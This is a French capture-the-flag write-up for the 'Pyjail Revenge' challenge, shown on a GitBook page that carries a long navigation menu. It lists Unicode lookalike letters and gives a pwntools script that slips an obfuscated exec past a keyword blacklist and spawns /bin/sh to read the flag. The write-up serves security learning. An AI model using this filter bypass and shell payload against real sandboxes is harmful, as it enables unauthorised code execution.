ThaySan
  • ๐Ÿ‘‹Bienvenue
    • Avant-propos
  • ๐ŸšฉCTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • ๐Ÿ”‘Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • ๐Ÿ”ŽForensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • ๐Ÿง Misc
        • Hello Steve
      • ๐Ÿ’พProgrammation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • โš™๏ธReverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • ๐ŸŽญSteganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • ๐ŸŒWeb
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • ๐Ÿ”‘Cryptographie
        • Clavier spรฉcial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • ๐ŸงŠMinecraft
        • Introduction
        • Non aux Bouquins Trafiquรฉs
        • Redstone Gold Block
      • ๐Ÿ’พProgrammation
        • Captcha 1.0
        • Intro ร  la prog
        • Captcha 2.0
      • โš™๏ธReverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • ๐ŸŽญStรฉganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drรดle de QR code
        • Randonnรฉe Guillerette ร  Bordeaux
      • ๐Ÿ’ปSystรจme
        • Marche-pied
        • Escabot
        • rรฉgulation des Donnรฉes et des Normes de Sรฉcuritรฉ
      • ๐ŸŒWeb
        • cybernight.zip
        • Mon champion prรฉfรฉrรฉ
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquรชte
        • L'enquรชte 2/6
        • L'Enquรชte 1/6
        • Bienvenue, enquรชteur
    • 2024 | Star-Hack
      • ๐Ÿ”‘Cryptographie
        • Cรฉsar, mais pas Cรฉsar
        • Double ennui
        • Langage secret
        • Quadratique Mystรฉrieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • ๐Ÿ”ŽForensic
        • Cache-cache
        • Fichier ZIP protรฉgรฉ par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • ๐Ÿง Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi รงa ?
        • Cut13
        • Pika Pika
      • ๐Ÿ˜ˆPwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • โš™๏ธReverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • ๐ŸŒWeb
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • ๐Ÿ”‘Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • ๐Ÿ”‘Cryptographie
        • AES Intro
        • Alรฉatoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • ๐Ÿ”ŽForensic
        • Mais qui est le photographe ?
        • Mais oรน est passรฉ mon flag ?
        • Mรฉmoire 1/4
        • Mรฉmoire 2/4
        • Mรฉmoire 3/4
        • Mรฉmoire 4/4
        • My computer is talking
      • ๐Ÿ“šOSINT
        • Avion โœˆ
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • Sacrรฉ dossier
        • Socint
      • ๐Ÿ’พProgrammation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • ๐Ÿ˜ˆPwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • โš™๏ธReverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • ๐ŸŽญStรฉganographie
        • Cybernight รชtre comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • ๐Ÿ’ปSystรจme
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • ๐ŸŒWeb
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • ๐Ÿ”‘Cryptographie
        • conv
        • oracle-srl
        • ctr
      • ๐Ÿ”ŽForensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • ๐Ÿง Misc
        • pyterm
      • ๐Ÿ“ฑMobile
        • mobisec
      • ๐Ÿ“šOSINT
      • ๐Ÿ˜ˆPwn
      • โš™๏ธReverse
      • ๐Ÿ•ต๏ธTraque
      • ๐ŸŒWeb
        • noogle
        • production-bay
    • 2024 | 404CTF
      • ๐Ÿ”‘Cryptographie
        • Bรฉbรฉ nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'รฉponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissรฉ chef !
        • SEA - La face cachรฉe de l'Iceberg
      • ๐Ÿ”ŽForensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sรฉcuriser que guรฉrir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • ๐Ÿ”ŒHardware
        • Serial killer
        • Le soulevรฉ de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais oรน sont les triggers ?
      • ๐Ÿค–IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dรฉrobรฉes
      • ๐Ÿง Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • ๐Ÿ“šOSINT
        • Lรฉgende
        • Not on my watch
        • Secret Training [1/2]
      • ๐Ÿ˜ˆPwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • ๐Ÿˆโ€โฌ›Quantique
        • Des trains superposรฉs
        • De l'รฉcoute, pas trรจs discrรจte
        • De la multiplicitรฉ des problรจmes
      • โš™๏ธReverse
        • โญร‰chauffement
        • โญIntronisation du CHAUSSURE
        • โญBugdroid Fight [1/2]
        • โญRevers(ibl)e Engineering [1/2]
        • โญBugdroid Fight [2/2]
        • โญNanocombattants
        • โญRevers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • ๐ŸŽญStรฉganographie
        • โญL'absence
        • โญRegarder en stรฉrรฉo
        • โญLa Barre Fixe
        • โญLe grand รฉcart
        • โญLa chute
      • ๐ŸŒWeb
        • โญVous รชtes en RETARD
        • โญLe match du siรจcle [1/2]
        • โญExploit mag
        • โญLe match du siรจcle [2/2]
        • โญLE GORFOU 42
        • โญLa boutique officielle
    • 2024 | CTFREI - Bordeaux
      • ๐Ÿ”‘Cryptographie
        • zzz
      • ๐Ÿ“šOSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prรฉlude
        • La fin ?
        • La fuite Dumas
        • Un rรฉseau suspect
      • ๐Ÿ’พProgrammation
        • Eval me 1
        • Eval me 2
        • Time Based
      • ๐Ÿ’ปSystรจme
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • ๐ŸŒWeb
        • Au commencement รฉtait le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • ๐Ÿ”—Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • ๐Ÿ”‘Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • ๐Ÿ”ŽForensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • ๐Ÿ”ŒHardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • ๐Ÿง Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • ๐Ÿ˜ˆPwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • โš™๏ธReverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • ๐ŸŒWeb
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • ๐Ÿ”‘Cryptographie
        • start-enc
        • traffic-e
      • ๐Ÿ”ŽForensic
        • easy-hide
        • password-manager-is-a-must
      • ๐Ÿง Misc
        • rfc-meta
      • ๐Ÿ“ฑMobile
        • flagen
        • improper-configuration
      • ๐Ÿ“กNetwork
        • wifi-basic
        • wifiland
      • ๐Ÿ“šOSINT
        • persistent-reccon
        • safe-password
      • ๐Ÿ˜ˆPwn
        • intro-to-assembly
      • โš™๏ธReverse
        • fake-add
      • ๐ŸŽญStรฉganographie
        • secrets-of-winter
      • ๐ŸŒWeb
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • ๐Ÿ“šOSINT
        • Invest Now !
      • ๐Ÿ˜ˆPwn
        • NSA Call Converter
      • โš™๏ธReverse
        • CryptoVirus
        • WebChaussettes
      • ๐ŸŒWeb
        • DoctoLeak
    • 2023 | Flag4All
      • ๐Ÿ”‘Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • ๐Ÿ”‘Cryptographie
        • Coupรฉ-dรฉcalรฉ
        • ExFILEtration
        • Il s'est baissรฉ ou pas
        • J'ai pas rotรฉ
        • Les allemands !
        • RSA Strong Prime generator
      • ๐Ÿ”ŽForensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • ๐Ÿ”ŒHardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • ๐Ÿง Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • ๐Ÿ’พProgrammation
        • Repeat
        • Startup
        • Timing
      • โš™๏ธReverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • ๐ŸŽญStรฉganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • ๐ŸŒWeb
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
Propulsรฉ par GitBook
Sur cette page
  • Challenge
  • Solution

Cet article vous a-t-il รฉtรฉ utile ?

  1. CTF & Writeups
  2. 2024 | CTFREI Intro
  3. Systรจme

Pyjail Revenge

PrรฉcรฉdentPyjailSuivantStrange input, right?

Derniรจre mise ร  jour il y a 7 mois

Cet article vous a-t-il รฉtรฉ utile ?

Catรฉgorie: Systรจme Difficultรฉ: - Flag: CTFREI{d4mn_u_g0t_m3_pff}

Challenge

Description


Fini les payloads classiques, montre moi vraiment ce que tu peux faire pour contourner รงa !

Le flag est situรฉ dans flag.txt

Connexion: nc intro.ctfrei.fr 4452

Ce challenge tourne sur un docker et n'est pas disponible

Solution

Ici le "TRICK" ร  utiliser est que python accepte diffรฉrent encodage, seulement la vรฉrification de la blacklist est faite uniquement avec les valeurs ASCII. On peut donc utiliser des caractรจres unicodes diffรฉrents, mais compris par python pour utiliser les mots interdis.

La premiรจre chose ร  faire est de lister, en local, les caractรจres qui peuvent remplacer les "vrais" (ceux en ASCII). Pour รงa on va crรฉer 26 variables nommรฉes de a ร  z, tester par exemple 1 million de caractรจres unicode et voir ceux qui sont รฉvaluรฉs en tant qu'une des variables dรฉfinies.

result = {v: [] for v in range(26)}
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = list(range(26))

for _n in range(1_000_000):
  _c = chr(_n)
  if _c.isdigit():
    continue
  try:
    _v = eval(_c)
    result[_v].append(_c)
  except:
    pass

for _v in range(26):
  print(', '.join(result[_v]))

On en tire le tableau de correspondances suivant :

a, ยช, แตƒ, โ‚, ๏ฝ, ๐š, ๐‘Ž, ๐’‚, ๐’ถ, ๐“ช, ๐”ž, ๐•’, ๐–†, ๐–บ, ๐—ฎ, ๐˜ข, ๐™–, ๐šŠ
b, แต‡, ๏ฝ‚, ๐›, ๐‘, ๐’ƒ, ๐’ท, ๐“ซ, ๐”Ÿ, ๐•“, ๐–‡, ๐–ป, ๐—ฏ, ๐˜ฃ, ๐™—, ๐š‹
c, แถœ, โ…ฝ, ๏ฝƒ, ๐œ, ๐‘, ๐’„, ๐’ธ, ๐“ฌ, ๐” , ๐•”, ๐–ˆ, ๐–ผ, ๐—ฐ, ๐˜ค, ๐™˜, ๐šŒ
d, แตˆ, โ…†, โ…พ, ๏ฝ„, ๐, ๐‘‘, ๐’…, ๐’น, ๐“ญ, ๐”ก, ๐••, ๐–‰, ๐–ฝ, ๐—ฑ, ๐˜ฅ, ๐™™, ๐š
e, แต‰, โ‚‘, โ„ฏ, โ…‡, ๏ฝ…, ๐ž, ๐‘’, ๐’†, ๐“ฎ, ๐”ข, ๐•–, ๐–Š, ๐–พ, ๐—ฒ, ๐˜ฆ, ๐™š, ๐šŽ
f, แถ , ๏ฝ†, ๐Ÿ, ๐‘“, ๐’‡, ๐’ป, ๐“ฏ, ๐”ฃ, ๐•—, ๐–‹, ๐–ฟ, ๐—ณ, ๐˜ง, ๐™›, ๐š
g, แต, โ„Š, ๏ฝ‡, ๐ , ๐‘”, ๐’ˆ, ๐“ฐ, ๐”ค, ๐•˜, ๐–Œ, ๐—€, ๐—ด, ๐˜จ, ๐™œ, ๐š
h, สฐ, โ‚•, โ„Ž, ๏ฝˆ, ๐ก, ๐’‰, ๐’ฝ, ๐“ฑ, ๐”ฅ, ๐•™, ๐–, ๐—, ๐—ต, ๐˜ฉ, ๐™, ๐š‘
i, แตข, โฑ, โ„น, โ…ˆ, โ…ฐ, ๏ฝ‰, ๐ข, ๐‘–, ๐’Š, ๐’พ, ๐“ฒ, ๐”ฆ, ๐•š, ๐–Ž, ๐—‚, ๐—ถ, ๐˜ช, ๐™ž, ๐š’
j, สฒ, โ…‰, โฑผ, ๏ฝŠ, ๐ฃ, ๐‘—, ๐’‹, ๐’ฟ, ๐“ณ, ๐”ง, ๐•›, ๐–, ๐—ƒ, ๐—ท, ๐˜ซ, ๐™Ÿ, ๐š“
k, แต, โ‚–, ๏ฝ‹, ๐ค, ๐‘˜, ๐’Œ, ๐“€, ๐“ด, ๐”จ, ๐•œ, ๐–, ๐—„, ๐—ธ, ๐˜ฌ, ๐™ , ๐š”
l, หก, โ‚—, โ„“, โ…ผ, ๏ฝŒ, ๐ฅ, ๐‘™, ๐’, ๐“, ๐“ต, ๐”ฉ, ๐•, ๐–‘, ๐—…, ๐—น, ๐˜ญ, ๐™ก, ๐š•
m, แต, โ‚˜, โ…ฟ, ๏ฝ, ๐ฆ, ๐‘š, ๐’Ž, ๐“‚, ๐“ถ, ๐”ช, ๐•ž, ๐–’, ๐—†, ๐—บ, ๐˜ฎ, ๐™ข, ๐š–
n, โฟ, โ‚™, ๏ฝŽ, ๐ง, ๐‘›, ๐’, ๐“ƒ, ๐“ท, ๐”ซ, ๐•Ÿ, ๐–“, ๐—‡, ๐—ป, ๐˜ฏ, ๐™ฃ, ๐š—
o, ยบ, แต’, โ‚’, โ„ด, ๏ฝ, ๐จ, ๐‘œ, ๐’, ๐“ธ, ๐”ฌ, ๐• , ๐–”, ๐—ˆ, ๐—ผ, ๐˜ฐ, ๐™ค, ๐š˜
p, แต–, โ‚š, ๏ฝ, ๐ฉ, ๐‘, ๐’‘, ๐“…, ๐“น, ๐”ญ, ๐•ก, ๐–•, ๐—‰, ๐—ฝ, ๐˜ฑ, ๐™ฅ, ๐š™
q, ๏ฝ‘, ๐žฅ, ๐ช, ๐‘ž, ๐’’, ๐“†, ๐“บ, ๐”ฎ, ๐•ข, ๐––, ๐—Š, ๐—พ, ๐˜ฒ, ๐™ฆ, ๐šš
r, สณ, แตฃ, ๏ฝ’, ๐ซ, ๐‘Ÿ, ๐’“, ๐“‡, ๐“ป, ๐”ฏ, ๐•ฃ, ๐–—, ๐—‹, ๐—ฟ, ๐˜ณ, ๐™ง, ๐š›
s, ลฟ, หข, โ‚›, ๏ฝ“, ๐ฌ, ๐‘ , ๐’”, ๐“ˆ, ๐“ผ, ๐”ฐ, ๐•ค, ๐–˜, ๐—Œ, ๐˜€, ๐˜ด, ๐™จ, ๐šœ
t, แต—, โ‚œ, ๏ฝ”, ๐ญ, ๐‘ก, ๐’•, ๐“‰, ๐“ฝ, ๐”ฑ, ๐•ฅ, ๐–™, ๐—, ๐˜, ๐˜ต, ๐™ฉ, ๐š
u, แต˜, แตค, ๏ฝ•, ๐ฎ, ๐‘ข, ๐’–, ๐“Š, ๐“พ, ๐”ฒ, ๐•ฆ, ๐–š, ๐—Ž, ๐˜‚, ๐˜ถ, ๐™ช, ๐šž
v, แต›, แตฅ, โ…ด, ๏ฝ–, ๐ฏ, ๐‘ฃ, ๐’—, ๐“‹, ๐“ฟ, ๐”ณ, ๐•ง, ๐–›, ๐—, ๐˜ƒ, ๐˜ท, ๐™ซ, ๐šŸ
w, สท, ๏ฝ—, ๐ฐ, ๐‘ค, ๐’˜, ๐“Œ, ๐”€, ๐”ด, ๐•จ, ๐–œ, ๐—, ๐˜„, ๐˜ธ, ๐™ฌ, ๐š 
x, หฃ, โ‚“, โ…น, ๏ฝ˜, ๐ฑ, ๐‘ฅ, ๐’™, ๐“, ๐”, ๐”ต, ๐•ฉ, ๐–, ๐—‘, ๐˜…, ๐˜น, ๐™ญ, ๐šก
y, สธ, ๏ฝ™, ๐ฒ, ๐‘ฆ, ๐’š, ๐“Ž, ๐”‚, ๐”ถ, ๐•ช, ๐–ž, ๐—’, ๐˜†, ๐˜บ, ๐™ฎ, ๐šข
z, แถป, ๏ฝš, ๐ณ, ๐‘ง, ๐’›, ๐“, ๐”ƒ, ๐”ท, ๐•ซ, ๐–Ÿ, ๐—“, ๐˜‡, ๐˜ป, ๐™ฏ, ๐šฃ

Maintenant, il suffit de remplacer une lettre de exec pour que la blacklist ne dรฉtecte plus le mot, mais qu'il soit toujours interprรฉtรฉ. Remplaรงons par exemple le premier e par ๐•–.

Ensuite, on va crรฉer un payload qui ouvrira un shell dans notre fonction exec. Pour passer la blacklist sans se prendre la tรชte, on va envoyer une version encodรฉe en hexa et qui sera dรฉcodรฉe sur le serveur avec bytes.fromhex.

from pwn import remote, context

context.log_level = 'error'

client = remote('intro.ctfrei.fr', 4452)
to_exec_hex = '__import__("os").system("/bin/sh")'.encode().hex()
payload = f'๐•–xec(bytes.fromhex(\'{to_exec_hex}\').decode())'
client.sendlineafter(b'>>> ', payload.encode())

client.sendline(b'cat flag.txt')
print(client.recvall(timeout=1))
# CTFREI{d4mn_u_g0t_m3_pff}

client.close()

๐Ÿšฉ
๐Ÿ’ป
599B
pyjail_revenge.zip
archive